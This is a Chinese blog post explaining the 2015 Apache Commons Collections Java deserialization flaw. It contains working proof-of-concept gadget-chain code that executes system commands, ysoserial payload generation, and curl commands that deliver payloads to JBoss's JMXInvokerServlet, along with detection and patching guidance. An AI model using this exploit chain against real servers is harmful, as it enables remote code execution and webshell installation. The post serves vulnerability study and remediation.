1. 程式人生 > >Java反序列化漏洞分析

Java反序列化漏洞分析

https://xz.aliyun.com/t/136  寫的挺詳細的,大致瞭解了,整個流程,有點事,之後在細跟

目錄

1. 背景
2. 認識java序列化與反序列化
3. 理解漏洞的產生
4. POC構造
5. 實際漏洞環境測試
6. 總結

背景

  2015年11月6日FoxGlove Security安全團隊的@breenmachine 釋出了一篇長部落格,闡述了利用Java反序列化和Apache Commons Collections這一基礎類庫實現遠端命令執行的真實案例,各大Java Web Server紛紛躺槍,這個漏洞橫掃WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。而在將近10個月前, Gabriel Lawrence 和Chris Frohoff 就已經在AppSecCali上的一個報告裡提到了這個漏洞利用思路。 

  目前,針對這個"2015年最被低估"的漏洞,各大受影響的Java應用廠商陸續釋出了修復後的版本,Apache Commons Collections專案也對存在漏洞的類庫進行了一定的安全處理。但是網路上仍有大量網站受此漏洞影響。


認識Java序列化與反序列化

定義:

  序列化就是把物件的狀態資訊轉換為位元組序列(即可以儲存或傳輸的形式)過程
  反序列化即逆過程,由位元組流還原成物件
  注: 位元組序是指多位元組資料在計算機記憶體中儲存或者網路傳輸時各位元組的儲存順序。

用途:

  1) 把物件的位元組序列永久地儲存到硬碟上,通常存放在一個檔案中;
  2) 在網路上傳送物件的位元組序列。

應用場景:

  1) 一般來說,伺服器啟動後,就不會再關閉了,但是如果逼不得已需要重啟,而使用者會話還在進行相應的操作,這時就需要使用序列化將session資訊儲存起來放在硬碟,伺服器重啟後,又重新載入。這樣就保證了使用者資訊不會丟失,實現永久化儲存。

  2) 在很多應用中,需要對某些物件進行序列化,讓它們離開記憶體空間,入住物理硬碟,以便減輕記憶體壓力或便於長期儲存。

    比如最常見的是Web伺服器中的Session物件,當有 10萬用戶併發訪問,就有可能出現10萬個Session物件,記憶體可能吃不消,於是Web容器就會把一些seesion先序列化到硬碟中,等要用了,再把儲存在硬碟中的物件還原到記憶體中。

  例子: 淘寶每年都會有定時搶購的活動,很多使用者會提前登入等待,長時間不進行操作,一致儲存在記憶體中,而到達指定時刻,幾十萬使用者併發訪問,就可能會有幾十萬個session,記憶體可能吃不消。這時就需要進行物件的活化、鈍化,讓其在閒置的時候離開記憶體,將資訊儲存至硬碟,等要用的時候,就重新載入進記憶體。


Java中的API實現:

  位置: Java.io.ObjectOutputStream   java.io.ObjectInputStream

  序列化:  ObjectOutputStream類 --> writeObject()

注:該方法對引數指定的obj物件進行序列化,把位元組序列寫到一個目標輸出流中

按Java的標準約定是給檔案一個.ser副檔名

  反序列化: ObjectInputStream類 --> readObject()   

         注:該方法從一個源輸入流中讀取位元組序列,再把它們反序列化為一個物件,並將其返回。

簡單測試程式碼:

import java.io.*;

/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/

public class Java_Test{

    public static void main(String args[]) throws Exception {
        String obj = "ls ";

        // 將序列化物件寫入檔案object.txt中
        FileOutputStream fos = new FileOutputStream("aa.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();

        // 從檔案object.txt中讀取資料
        FileInputStream fis = new FileInputStream("aa.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);

        // 通過反序列化恢復物件obj
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);
        ois.close();
    }

}

  我們可以看到,先通過輸入流建立一個檔案,再呼叫ObjectOutputStream類的 writeObject方法把序列化的資料寫入該檔案;然後調用ObjectInputStream類的readObject方法反序列化資料並列印資料內容。

  實現Serializable和Externalizable介面的類的物件才能被序列化。

  Externalizable介面繼承自 Serializable介面,實現Externalizable介面的類完全由自身來控制序列化的行為,而僅實現Serializable介面的類可以採用預設的序列化方式 。
  物件序列化包括如下步驟:
  1) 建立一個物件輸出流,它可以包裝一個其他型別的目標輸出流,如檔案輸出流;
  2) 通過物件輸出流的writeObject()方法寫物件。
  物件反序列化的步驟如下:
  1) 建立一個物件輸入流,它可以包裝一個其他型別的源輸入流,如檔案輸入流;
  2) 通過物件輸入流的readObject()方法讀取物件。

程式碼例項

我們建立一個Person介面,然後寫兩個方法:

    序列化方法:   建立一個Person例項,呼叫函式為其三個成員變數賦值,通過writeObject方法把該物件序列化,寫入Person.txt檔案中
    反序列化方法:呼叫readObject方法,返回一個經過飯序列化處理的物件

  在測試主類裡面,我們先序列化Person例項物件,然後又反序列化該物件,最後呼叫函式獲取各個成員變數的值。

測試程式碼如下:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.text.MessageFormat;
import java.io.Serializable;

class Person implements Serializable {

    /**
     * 序列化ID
     */
    private static final long serialVersionUID = -5809782578272943999L;


    private int age;
    private String name;
    private String sex;

    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public String getSex() {
        return sex;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }
}

/**
 * <p>ClassName: SerializeAndDeserialize<p>
 * <p>Description: 測試物件的序列化和反序列<p>
 */
public class SerializeDeserialize_readObject {

    public static void main(String[] args) throws Exception {
        SerializePerson();//序列化Person物件
        Person p = DeserializePerson();//反序列Perons物件
        System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
                                                 p.getName(), p.getAge(), p.getSex()));
    }

    /**
     * MethodName: SerializePerson
     * Description: 序列化Person物件
     */
    private static void SerializePerson() throws FileNotFoundException,
            IOException {
        Person person = new Person();
        person.setName("ssooking");
        person.setAge(20);
        person.setSex("男");
        // ObjectOutputStream 物件輸出流,將Person物件儲存到Person.txt檔案中,完成對Person物件的序列化操作
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
                new File("Person.txt")));
        oo.writeObject(person);
        System.out.println("Person物件序列化成功!");
        oo.close();
    }

    /**
     * MethodName: DeserializePerson
     * Description: 反序列Perons物件
     */
    private static Person DeserializePerson() throws Exception, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
        /*
            FileInputStream fis = new FileInputStream("Person.txt"); 
            ObjectInputStream ois = new ObjectInputStream(fis);
        */
        Person person = (Person) ois.readObject();
        System.out.println("Person物件反序列化成功!");
        return person;
    }

}

漏洞是怎麼來的呢?

  我們既然已經知道了序列化與反序列化的過程,那麼如果反序列化的時候,這些即將被反序列化的資料是我們特殊構造的呢!

  如果Java應用對使用者輸入,即不可信資料做了反序列化處理,那麼攻擊者可以通過構造惡意輸入,讓反序列化產生非預期的物件,非預期的物件在產生過程中就有可能帶來任意程式碼執行。


漏洞分析

從Apache Commons Collections說起

專案地址
官網:    http://commons.apache.org/proper/commons-collections/ 
Github:  https://github.com/apache/commons-collections

   由於對java序列化/反序列化的需求,開發過程中常使用一些公共庫。

   Apache Commons Collections 是一個擴充套件了Java標準庫裡的Collection結構的第三方基礎庫。它包含有很多jar工具包如下圖所示,它提供了很多強有力的資料結構型別並且實現了各種集合工具類。

  org.apache.commons.collections提供一個類包來擴充套件和增加標準的Java的collection框架,也就是說這些擴充套件也屬於collection的基本概念,只是功能不同罷了。Java中的collection可以理解為一組物件,collection裡面的物件稱為collection的物件。具象的collection為set,list,queue等等,它們是集合型別。換一種理解方式,collection是set,list,queue的抽象。

   

  作為Apache開源專案的重要元件,Commons Collections被廣泛應用於各種Java應用的開發,而正是因為在大量web應用程式中這些類的實現以及方法的呼叫,導致了反序列化用漏洞的普遍性和嚴重性。 

   Apache Commons Collections中有一個特殊的介面,其中有一個實現該介面的類可以通過呼叫Java的反射機制來呼叫任意函式,叫做InvokerTransformer。

JAVA反射機制
    在執行狀態中:
      對於任意一個類,都能夠判斷一個物件所屬的類;
      對於任意一個類,都能夠知道這個類的所有屬性和方法;
      對於任意一個物件,都能夠呼叫它的任意一個方法和屬性;
    這種動態獲取的資訊以及動態呼叫物件的方法的功能稱為java語言的反射機制。

  這裡涉及到了很多概念,不要著急,接下來我們就來詳細的分析一下。


POC構造

  經過對前面序列與反序列化的瞭解,我們蠢蠢欲動。那麼怎樣利用這個漏洞呢?

  一丁點兒思路:

構造一個物件 —— 反序列化 —— 提交資料

  OK? 我們現在遇到的關鍵問題是: 什麼樣物件符合條件?如何執行命令?怎樣讓它在被反序列化的時候執行命令?

  首先,我們可以知道,要想在java中呼叫外部命令,可以使用這個函式 Runtime.getRuntime().exec(),然而,我們現在需要先找到一個物件,可以儲存並在特定情況下執行我們的命令。

(1)Map類 --> TransformedMap

  Map類是儲存鍵值對的資料結構。 Apache Commons Collections中實現了TransformedMap ,該類可以在一個元素被新增/刪除/或是被修改時(即key或value:集合中的資料儲存形式即是一個索引對應一個值,就像身份證與人的關係那樣),會呼叫transform方法自動進行特定的修飾變換,具體的變換邏輯由Transformer類定義。也就是說,TransformedMap類中的資料發生改變時,可以自動對進行一些特殊的變換,比如在資料被修改時,把它改回來; 或者在資料改變時,進行一些我們提前設定好的操作。

  至於會進行怎樣的操作或變換,這是由我們提前設定的,這個叫做transform。等會我們就來了解一下transform。

  我們可以通過TransformedMap.decorate()方法獲得一個TransformedMap的例項

TransformedMap.decorate方法,預期是對Map類的資料結構進行轉化,該方法有三個引數。

    第一個引數為待轉化的Map物件
    第二個引數為Map物件內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空)
    第三個引數為Map物件內的value要經過的轉化方法

(2)Transformer介面

Defines a functor interface implemented by classes that transform one object into another.
作用:介面於Transformer的類都具備把一個物件轉化為另一個物件的功能

transform的原始碼

我們可以看到該類接收一個物件,獲取該物件的名稱,然後呼叫了一個invoke反射方法。另外,多個Transformer還能串起來,形成ChainedTransformer。當觸發時,ChainedTransformer可以按順序呼叫一系列的變換。

下面是一些實現Transformer介面的類,箭頭標註的是我們會用到的。

ConstantTransformer
把一個物件轉化為常量,並返回。

InvokerTransformer
通過反射,返回一個物件

ChainedTransformer
ChainedTransformer為鏈式的Transformer,會挨個執行我們定義Transformer

  Apache Commons Collections中已經實現了一些常見的Transformer,其中有一個可以通過Java的反射機制來呼叫任意函式,叫做InvokerTransformer,程式碼如下:

public class InvokerTransformer implements Transformer, Serializable {

...

    /*
        Input引數為要進行反射的物件,
        iMethodName,iParamTypes為呼叫的方法名稱以及該方法的引數型別
        iArgs為對應方法的引數
        在invokeTransformer這個類的建構函式中我們可以發現,這三個引數均為可控引數
    */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

只需要傳入方法名、引數型別和引數,即可呼叫任意函式。

  在這裡,我們可以看到,先用ConstantTransformer()獲取了Runtime類,接著反射呼叫getRuntime函式,再呼叫getRuntime的exec()函式,執行命令""。依次呼叫關係為: Runtime --> getRuntime --> exec()

  因此,我們要提前構造 ChainedTransformer鏈,它會按照我們設定的順序依次呼叫Runtime, getRuntime,exec函式,進而執行命令。正式開始時,我們先構造一個TransformeMap例項,然後想辦法修改它其中的資料,使其自動呼叫tansform()方法進行特定的變換(即我們之前設定好的)

  再理一遍:

1)構造一個Map和一個能夠執行程式碼的ChainedTransformer,
  2)生成一個TransformedMap例項
  3)利用MapEntry的setValue()函式對TransformedMap中的鍵值進行修改
  4)觸發我們構造的之前構造的鏈式Transforme(即ChainedTransformer)進行自動轉換

知識補充

Map是java中的介面,Map.Entry是Map的一個內部介面。
Map提供了一些常用方法,如keySet()、entrySet()等方法。
keySet()方法返回值是Map中key值的集合;
entrySet()的返回值也是返回一個Set集合,此集合的型別為Map.Entry。
Map.Entry是Map宣告的一個內部介面,此介面為泛型,定義為Entry<K,V>。它表示Map中的一個實體(一個key-value對)。
介面中有getKey(),getValue方法,可以用來對集合中的元素進行修改

我們可以實現這個思路

public static void main(String[] args) throws Exception {
    //transformers: 一個transformer鏈,包含各類transformer物件(預設轉化邏輯)的轉化陣列
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", 
            new Class[] {String.class }, new Object[] {"calc.exe"})};

    //首先構造一個Map和一個能夠執行程式碼的ChainedTransformer,以此生成一個TransformedMap
    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("1", "zhang");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //觸發Map中的MapEntry產生修改(例如setValue()函式
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();

    onlyElement.setValue("foobar");
    /*程式碼執行到setValue()時,就會觸發ChainedTransformer中的一系列變換函式:
       首先通過ConstantTransformer獲得Runtime類
       進一步通過反射呼叫getMethod找到invoke函式
       最後再執行命令calc.exe。
    */
}

思考

目前的構造還需要依賴於Map中某一項去呼叫setValue() 怎樣才能在呼叫readObject()方法時直接觸發執行呢?

更近一步

  我們知道,如果一個類的方法被重寫,那麼在呼叫這個函式時,會優先呼叫經過修改的方法。因此,如果某個可序列化的類重寫了readObject()方法,並且在readObject()中對Map型別的變數進行了鍵值修改操作,且這個Map變數是可控的,我麼就可以實現攻擊目標。

  於是,我們開始尋尋覓覓,終於,我們找到了~

  AnnotationInvocationHandler類

這個類有一個成員變數memberValues是Map型別 
更棒的是,AnnotationInvocationHandler的readObject()函式中對memberValues的每一項呼叫了setValue()函式對value值進行一些變換。

  這個類完全符合我們的要求,那麼,我們的思路就非常清晰了

1)首先構造一個Map和一個能夠執行程式碼的ChainedTransformer,
  2)生成一個TransformedMap例項
  3)例項化AnnotationInvocationHandler,並對其進行序列化,
  4)當觸發readObject()反序列化的時候,就能實現命令執行。

  POC執行流程為 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功觸發

我們回顧下所有用到的技術細節

(1)java方法重寫:如果一個類的方法被重寫,那麼呼叫該方法時優先呼叫該方法

(2)JAVA反射機制:在執行狀態中
             對於任意一個類,都能夠判斷一個物件所屬的類;
             對於任意一個類,都能夠知道這個類的所有屬性和方法;
              對於任意一個物件,都能夠呼叫它的任意一個方法和屬性;
(3)認識關鍵類與函式
    TransformedMap :      利用其value修改時觸發transform()的特性
    ChainedTransformer: 會挨個執行我們定義的Transformer
    Transformer:                 存放我們要執行的命令
    AnnotationInvocationHandler:對memberValues的每一項呼叫了setValue()函式

具體實現

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;



public class POC_Test{
    public static void main(String[] args) throws Exception {
        //execArgs: 待執行的命令陣列
        //String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };

        //transformers: 一個transformer鏈,包含各類transformer物件(預設轉化邏輯)的轉化陣列
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            /*
            由於Method類的invoke(Object obj,Object args[])方法的定義
            所以在反射內寫new Class[] {Object.class, Object[].class }
            正常POC流程舉例:
            ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
            */
            new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class }, 
                new Object[] {null, null }
            ),
            new InvokerTransformer(
                "exec",
                new Class[] {String[].class },
                new Object[] { "whoami" }
                //new Object[] { execArgs } 
            )
        };

        //transformedChain: ChainedTransformer類物件,傳入transformers陣列,可以按照transformers陣列的邏輯執行轉化操作
        Transformer transformedChain = new ChainedTransformer(transformers);

        //BeforeTransformerMap: Map資料結構,轉換前的Map,Map資料結構內的物件是鍵值對形式,類比於python的dict
        //Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
        Map<String,String> BeforeTransformerMap = new HashMap<String,String>();

        BeforeTransformerMap.put("hello", "hello");

        //Map資料結構,轉換後的Map
       /*
       TransformedMap.decorate方法,預期是對Map類的資料結構進行轉化,該方法有三個引數。
            第一個引數為待轉化的Map物件
            第二個引數為Map物件內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空)
            第三個引數為Map物件內的value要經過的轉化方法。
       */
        //TransformedMap.decorate(目標Map, key的轉化物件(單個或者鏈或者null), value的轉化物件(單個或者鏈或者null));
        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }
}

/*
思路:構建BeforeTransformerMap的鍵值對,為其賦值,
     利用TransformedMap的decorate方法,對Map資料結構的key/value進行transforme
     對BeforeTransformerMap的value進行轉換,當BeforeTransformerMap的value執行完一個完整轉換鏈,就完成了命令執行

     執行本質: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
     利用反射呼叫Runtime() 執行了一段系統命令, Runtime.getRuntime().exec()

*/

漏洞挖掘

1.漏洞觸發場景
   在java編寫的web應用與web伺服器間java通常會發送大量的序列化物件例如以下場景:
  1)HTTP請求中的引數,cookies以及Parameters。
  2)RMI協議,被廣泛使用的RMI協議完全基於序列化
  4)JMX 同樣用於處理序列化物件
  5)自定義協議 用來接收與傳送原始的java物件

2. 漏洞挖掘
  (1)確定反序列化輸入點
    首先應找出readObject方法呼叫,在找到之後進行下一步的注入操作。一般可以通過以下方法進行查詢:
      1)原始碼審計:尋找可以利用的“靶點”,即確定呼叫反序列化函式readObject的呼叫地點。
       2)對該應用進行網路行為抓包,尋找序列化資料,如wireshark,tcpdump等
     注: java序列化的資料一般會以標記(ac ed 00 05)開頭,base64編碼後的特徵為rO0AB。
  (2)再考察應用的Class Path中是否包含Apache Commons Collections庫
  (3)生成反序列化的payload
  (4)提交我們的payload資料

相關工具

  ysoserial是一個用我們剛才的思路生成序列化payload資料的工具。當中針對Apache Commons Collections 3的payload也是基於TransformedMapInvokerTransformer來構造的,然而在觸發時,並沒有採用上文介紹的AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相關程式碼來實現觸發。此處不再做深入分析,有興趣的讀者可以參考ysoserial的原始碼。

獲取方法

去github上下載jar發行版:https://github.com/frohoff/ysoserial/releases
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar

或者自行編譯:
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

相關Tool連結

  https://github.com/frohoff/ysoserial

  https://github.com/CaledoniaProject/jenkins-cli-exploit

  https://github.com/foxglovesec/JavaUnserializeExploits

ysoserial
去github上下載jar發行版:https://github.com/frohoff/ysoserial/releases
或者自行編譯:
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests 
沒有mvn的話需要先安裝:sudo apt-get install maven

實際漏洞環境測試

JBOSS

JBoss是一個管理和執行EJB專案的容器和伺服器

Enterprise JavaBean (EJB)規範定義了開發和部署基於事務性、分散式物件應用程式的伺服器端軟體元件的體系結構。
企業組織可以構建它們自己的元件,或從第三方供應商購買元件。
這些伺服器端元件稱作 Enterprise Bean,它們是 Enterprise JavaBean 容器中駐留的分散式物件,為分佈在網路中的客戶機提供遠端服務。

實際測試版本

Jboss6.1

Download: http://jbossas.jboss.org/downloads/
Unzip: unzip jboss-as-7.1.1.Final.zip

修改配置檔案,修改預設訪問埠,設定外部可訪問
 vi  /server/default/deploy/jbossweb.sar/server.xml
執行服務
iptables -I INPUT -p tcp --dport 80 -j ACCEPT
sh jbosspath/bin/run.sh -b 0.0.0.0        

關閉伺服器
sh jbosspath/bin/shutdown.sh -S

測試
http://ip:8080
http://ip:8080/web-console

 補充:CentOS預設開啟了防火牆,所以80埠是不能正常訪問的),輸入命令:
 iptables -I INPUT -p tcp --dport 80 -j ACCEPT

 

  這裡以Jboss為例。Jboss利用的是HTTP協議,可以在任何埠上執行,預設安裝在8080埠中。

  Jboss與“JMXInvokerServlet”的通訊過程中存在一個公開漏洞。JMX是一個java的管理協議,在Jboss中的JMXInvokerServlet可以使用HTTP協議與其進行通話。這一通訊功能依賴於java的序列化類。在預設安裝的Jboss中,JMXInvokerServlet的路徑恰好為http://localhost:8080/invoker/JMXInvokerServlet。

  如果使用者訪問一個該url,實際上會返回一個原始的java物件,這種行為顯然存在一個漏洞。但由於jmxinvokerservlet與主要的Web應用程式在同一個埠上執行,因此它很少被防火牆所攔截這個漏洞可以很經常的通過網際網路被利用。

  因此,可以以jmx作為Jboss接受外部輸入的點,可以利用java HTTP client包構建POST請求,post請求包中資料為使用ysoserial處理之後的構建程式碼

通常的測試可以使用的命令

搜尋匹配"readObject"靶點
   grep -nr "readObject" *
測試是否含該漏洞的jar包檔案
    grep -R InvokerTransformer
生成序列化payload資料
    java -jar ysoserial-0.0.4-all.jar CommonsCollections1 '想要執行的命令' > payload.out
提交payload資料
  curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@payload.out' http://ip:8080/invoker/JMXInvokerServlet
exploit例子
java -jar  ysoserial-0.0.2-all.jar   CommonsCollections1  'echo 1 > /tmp/pwned'  >  payload
curl --header 'Content-Type: application/x-java-serialized-object; class="org".jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet

我們提交payload資料時,可以抓取資料包進行分析,看起來大概像這個樣子(圖片不是自己環境測試中的)


總結

漏洞分析

  引發:如果Java應用對使用者輸入,即不可信資料做了反序列化處理,那麼攻擊者可以通過構造惡意輸入,讓反序列化產生非預期的物件,非預期的物件在產生過程中就有可能帶來任意程式碼執行。

  原因: 類ObjectInputStream在反序列化時,沒有對生成的物件的輸入做限制,使攻擊者利用反射呼叫函式進行任意命令執行。
     CommonsCollections元件中對於集合的操作存在可以進行反射呼叫的方法

  根源:Apache Commons Collections允許鏈式的任意的類函式反射呼叫
     問題函式:org.apache.commons.collections.Transformer介面


  利用:要利用Java反序列化漏洞,需要在進行反序列化的地方傳入攻擊者的序列化程式碼。

  思路:攻擊者通過允許Java序列化協議的埠,把序列化的攻擊程式碼上傳到伺服器上,再由Apache Commons Collections裡的TransformedMap來執行。
   至於如何使用這個漏洞對系統發起攻擊,舉一個簡單的思路,通過本地java程式將一個帶有後門漏洞的jsp(一般來說這個jsp裡的程式碼會是檔案上傳和網頁版的SHELL)序列化,
將序列化後的二進位制流傳送給有這個漏洞的伺服器,伺服器會反序列化該資料的並生成一個webshell檔案,然後就可以直接訪問這個生成的webshell檔案進行進一步利用。

啟發

開發者:
  為了確保序列化的安全性,可以對於一些敏感資訊加密;
  確保物件的成員變數符合正確的約束條件;
  確保需要優化序列化的效能。
漏洞挖掘:
  (1)通過程式碼審計/行為分析等手段發現漏洞所在靶點
  (2)進行POC分析構造時可以利用逆推法

漏洞修補

Java反序列化漏洞的快速排查和修復方案

目前打包有apache commons collections庫並且應用比較廣泛的主要元件有Jenkins WebLogic Jboss WebSphere  OpenNMS。
其中Jenkins由於功能需要大都直接暴露給公網。

首先確認產品中是否包含上述5種元件
使用grep命令或者其他相關搜尋命令檢測上述元件安裝目錄是否包含庫Apache Commons Collections。搜尋下列jar。
commons-collections.jar
*.commons-collections.jar
apache.commons.collections.jar
*.commons-collections.*.jar
如果包含請參考下述解決方案進行修復。
通用解決方案

更新Apache Commons Collections庫
  Apache Commons Collections在 3.2.2版本開始做了一定的安全處理,新版本的修復方案對相關反射呼叫進行了限制,對這些不安全的Java類的序列化支援增加了開關。

NibbleSecurity公司的ikkisoft在github上放出了一個臨時補丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller
  下載這個jar後放置於classpath,將應用程式碼中的java.io.ObjectInputStream替換為SerialKiller
  之後配置讓其能夠允許或禁用一些存在問題的類,SerialKiller有Hot-Reload,Whitelisting,Blacklisting幾個特性,控制了外部輸入反序列化後的可信型別。

  嚴格意義說起來,Java相對來說安全性問題比較少,出現的一些問題大部分是利用反射,最終用Runtime.exec(String cmd)函式來執行外部命令的。

  如果可以禁止JVM執行外部命令,未知漏洞的危害性會大大降低,可以大大提高JVM的安全性。比如:

SecurityManager originalSecurityManager = System.getSecurityManager();
    if (originalSecurityManager == null) {
        // 建立自己的SecurityManager
        SecurityManager sm = new SecurityManager() {
        private void check(Permission perm) {
            // 禁止exec
            if (perm instanceof java.io.FilePermission) {
                String actions = perm.getActions();
                if (actions != null && actions.contains("execute")) {
                    throw new SecurityException("execute denied!");
                }
            }
            // 禁止設定新的SecurityManager
            if (perm instanceof java.lang.RuntimePermission) {
                String name = perm.getName();
                if (name != null && name.contains("setSecurityManager")) {
                    throw new SecurityException(
                    "System.setSecurityManager denied!");
                }
            }
        }
        @Override
        public void checkPermission(Permission perm) {
            check(perm);
        }
        @Override
        public void checkPermission(Permission perm, Object context) {
            check(perm);
        }
    };
   System.setSecurityManager(sm);
}

  如上所示,只要在Java程式碼裡簡單加一段程式,就可以禁止執行外部程式了。

  禁止JVM執行外部命令,是一個簡單有效的提高JVM安全性的辦法。可以考慮在程式碼安全掃描時,加強對Runtime.exec相關程式碼的檢測。

針對其他的Web Application的修復

Weblogic
影響版本:Oracle WebLogic Server, 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 版本。
臨時解決方案
1 使用 SerialKiller 替換進行序列化操作的 ObjectInputStream 類;
2 在不影響業務的情況下,臨時刪除掉專案裡的
“org/apache/commons/collections/functors/InvokerTransformer.class” 檔案;
官方解決方案
官方宣告: http://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html
Weblogic 使用者將收到官方的修復支援

Jboss
臨時解決方案
1 刪除 commons-collections jar 中的 InvokerTransformer, InstantiateFactory, 和InstantiateTransfromer class 檔案
官方解決方案
https://issues.apache.org/jira/browse/COLLECTIONS-580
https://access.redhat.com/solutions/2045023


jenkins
臨時解決方案
  1 使用 SerialKiller 替換進行序列化操作的 ObjectInputStream 類;
  2 在不影響業務的情況下,臨時刪除掉專案裡的“org/apache/commons/collections/functors/InvokerTransformer.class” 檔案;
官方解決方案: Jenkins 釋出了 安全公告 ,並且在1.638版本中修復了這個漏洞。
官方的補丁宣告連結:
https://jenkins-ci.org/content/mitigating-unauthenticated-remote-code-execution-0-day-jenkins-cli
https://github.com/jenkinsci-cert/SECURITY-218


websphere
  Version8.0,Version7.0,Version8.5 and 8.5.5 Full Profile and Liberty Profile
臨時解決方案
1 使用 SerialKiller 替換進行序列化操作的 ObjectInputStream 類;
2 在不影響業務的情況下,臨時刪除掉專案裡的“org/apache/commons/collections/functors/InvokerTransformer.class” 檔案
在伺服器上找org/apache/commons/collections/functors/InvokerTransformer.class類的jar,目前weblogic10以後都在Oracle/Middleware/modules下    
com.bea.core.apache.commons.collections_3.2.0.jar,建立臨時目錄tt,解壓之後刪除InvokerTransformer.class類後
再改成com.bea.core.apache.commons.collections_3.2.0.jar
覆蓋Oracle/Middleware/modules下,重啟所有服務。如下步驟是linux詳細操作方法:
A)mkdir tt
B)cp -r Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar ./tt
C)jar xf Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar
D)cd org/apache/commons/collections/functors
E)rm -rf InvokerTransformer.class
F)jar cf com.bea.core.apache.commons.collections_3.2.0.jar org/* META-INF/*
G)mv com.bea.core.apache.commons.collections_3.2.0.jar Oracle/Middleware/modules/
H)重啟服務

重啟服務時候要刪除server-name下的cache和tmp
例如rm -rf ~/user_projects/domains/base_domain/servers/AdminServer/cache
rm -rf  ~/user_projects/domains/base_domain/servers/AdminServer/tmp

相關CVE

CVE-2015-7501

CVE-2015-4852(Weblogic)

CVE-2015-7450(Websphere)

相關學習資料

http://www.freebuf.com/vuls/90840.html
  https://security.tencent.com/index.php/blog/msg/97
  http://www.tuicool.com/articles/ZvMbIne
  http://www.freebuf.com/vuls/86566.html
  http://sec.chinabyte.com/435/13618435.shtml
  http://www.myhack58.com/Article/html/3/62/2015/69493_2.htm
  http://blog.nsfocus.net/java-deserialization-vulnerability-comments/
  http://www.ijiandao.com/safe/cto/18152.html
  https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/
  http://www.cnblogs.com/dongchi/p/4796188.html
  https://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#h4_漏洞